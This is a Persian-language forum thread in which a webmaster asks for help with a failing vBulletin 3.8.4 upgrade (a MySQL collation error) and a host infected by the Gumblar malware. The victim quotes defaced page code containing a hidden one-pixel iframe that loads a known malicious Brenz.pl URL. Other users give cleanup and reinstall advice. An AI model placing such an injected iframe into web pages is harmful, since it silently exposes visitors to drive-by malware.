موضوع: كسي ميتونه به من توي آپگريد انجمن و درست كردن مشكل ويروسي شدن هاست به من كمك كنه؟

نوشته اصلی توسط ReZaPishgam

سلام داداش
ممنون
.
داداش مشکل آپگرید رو چیکار کنم؟
.
ممنون میشم کمکم کنید.

این جواب مسئول سرور به من در رابطه با نصب آنتی ویروس هست.
چی کار کنم؟؟

احتمالا منظورشون حذف کلی فایل هاست ...

اگه ویروساتون پاک شد میتونید برای حل مشکل گوگل از گوگل وبمستر یا این لینک هم کمک بگیرید.

سلام به همگي
ممنون از جوابهاتون.

نوشته اصلی توسط VBIran

خوب بپرسید با چی حل میشه پس ؟

یک توضیح کوتاه بدید .

داداش توضيحات كه توي پست اول داده شده بود.
وقتي ميخوام آپگريد كنم، توي استپ 89 اين ارور مياد و ديگه نميشه جلو رفت.

اينم متن ارور:

کد PHP:

Unexpected Text:<?xml version="1.0" encoding="windows-1252"?>  <?xml version="1.0" encoding="windows-1252"?> <errors>      <error><=!=[=C=D=A=T=A=[<p>Database Error</p>   Invalid SQL:              (SELECT 'package' AS classtype,  package.packageid AS typeid, package.packageid AS packageid,                  package.productid AS productid, if(package.productid = 'vbulletin',  1, product.active) AS enabled,                 package.class AS class,  -1 as isaggregator             FROM package AS package             LEFT  JOIN product AS product                     ON product.productid =  package.productid             WHERE product.active = 1                  OR package.productid = 'vbulletin'             )              UNION               (SELECT 'contenttype' AS classtype, contenttypeid AS typeid,  contenttype.packageid AS packageid,                 1, 1,  contenttype.class AS class  ,  contenttype.isaggregator             FROM  contenttype AS contenttype             INNER JOIN package AS package ON  package.packageid = contenttype.packageid             LEFT JOIN product  AS product ON product.productid = package.productid             WHERE  product.active = 1             OR package.productid = 'vbulletin'  );   Illegal mix of collations (latin1_general_ci,IMPLICIT) and  (latin1_swedish_ci,IMPLICIT) for operation '=']=]=></error>      <error_html><=!=[=C=D=A=T=A=[<p>Database error in  vBulletin 3.8.4</p> <p>Invalid SQL:              (SELECT  'package' AS classtype, package.packageid AS typeid, package.packageid  AS packageid,                 package.productid AS productid,  if(package.productid = 'vbulletin', 1, product.active) AS enabled,                  package.class AS class, -1 as isaggregator             FROM  package AS package             LEFT JOIN product AS product                      ON product.productid = package.productid             WHERE  product.active = 1                 OR package.productid = 'vbulletin'              )              UNION              (SELECT 'contenttype' AS  classtype, contenttypeid AS typeid, contenttype.packageid AS packageid,                  1, 1, contenttype.class AS class  ,   contenttype.isaggregator             FROM contenttype AS contenttype              INNER JOIN package AS package ON package.packageid =  contenttype.packageid             LEFT JOIN product AS product ON  product.productid = package.productid             WHERE product.active =  1             OR package.productid = 'vbulletin'  );<p> <p>  <strong>MySQL Error</strong>   : Illegal mix of collations  (latin1_general_ci,IMPLICIT) and (latin1_swedish_ci,IMPLICIT) for  operation '='<br /> <strong>Error Number</strong>  :  1267<br /> <strong>Request Date</strong>  : Monday,  May 30th 2011 @ 04:16:06 PM<br /> <strong>Error  Date</strong>    : Monday, May 30th 2011 @ 04:16:07 PM<br />  <strong>Script</strong>        :  http://www.forum******.com/vb/upgrade.php<br />  <strong>Referrer</strong>      :  http://www.forum******.com/vb/upgrade.php<br />  <strong>Classname</strong>     : vB_Database<br />  <strong>MySQL Version</strong> : 5.0.92-community-log<br  /> </p>]=]=></error_html> </errors

این ویروس اسمش گامبلار یا همون ifromer هست که توی اکثر فایلهای login و function ها کد مخرب تهشون اضافه می کنه برای پاک سازی کامل دستی فایلها رو باز کنید و کد ویروس رو پاک کنید .

اينجوري كه تمام فايلهارو دونه دونه بايد اديت كرد.
فايلها زيادن.
اصلا اون كدي كه بايد پاك بشه چي هست؟

من هنوز منتظرم.
کسی نیست کمکم کنه؟

سلام داداش
ممنون بخاطر كمكت
من توي فايل هاي ايندكس گشتم ولي چنين چيزي نبود.
توي يك ايندكسي كه خودم كارهاي طراحيشو انجام داده بودم رفتم و يهو تعجب كردم.
تمام كدهاي مربوط به من پاك شده و اين كد در اون زير قرار گرفته.

<html><head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">

<title>Under Construction</title>
</head><body cellspacing="0" cellpadding="0" text="gray" bgcolor="black">
<br><br><br><center><table>
<tbody><tr>
<td><img src="http://jigoli.ir/i/upload/1/1306798413.jpg"><br></td><td></td>
</tr>
<tr>
<td><center>

</font>
</center></td>
</tr>
</tbody></table></center>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1>hi</iframe>
</body></html>

من تمام فايلهاي اضافي روي هاست بجز فروم رو دارم پاك مبكنم ببينم درست ميشه يا نه.
ويروس مربوط به كد بالا نميشد؟؟

اگه دیتابیس ویروسی نشده به نظرم همه فایلهای هاست رو پاک کنید و دوباره ویبولتین رو روی هاست بریزید و کانفیگ قبلی رو ست کنید و بزنید برای آپگرید.
ولی دیگه دوباره باید هک ها و استایل ها رو نصب کنی.ولی خوبیش به اینه که از ویروس خبری نمیمونه و مشکلت حل میشه.
اگه نمیدونی آموزش لازم هست.جستوجو کن پیدا میکنی.

در ضمن مک کافی سایت ادویزور من این اررور رو میده وقتی میری تو سایت.
از ویروس داخل سایتت اشکال نمیگیره ولی از آمار گیر وبگذر نمیگذره و ارور میده.
http://www.siteadvisor.com/exploit.h...os_ver=6.1.1.0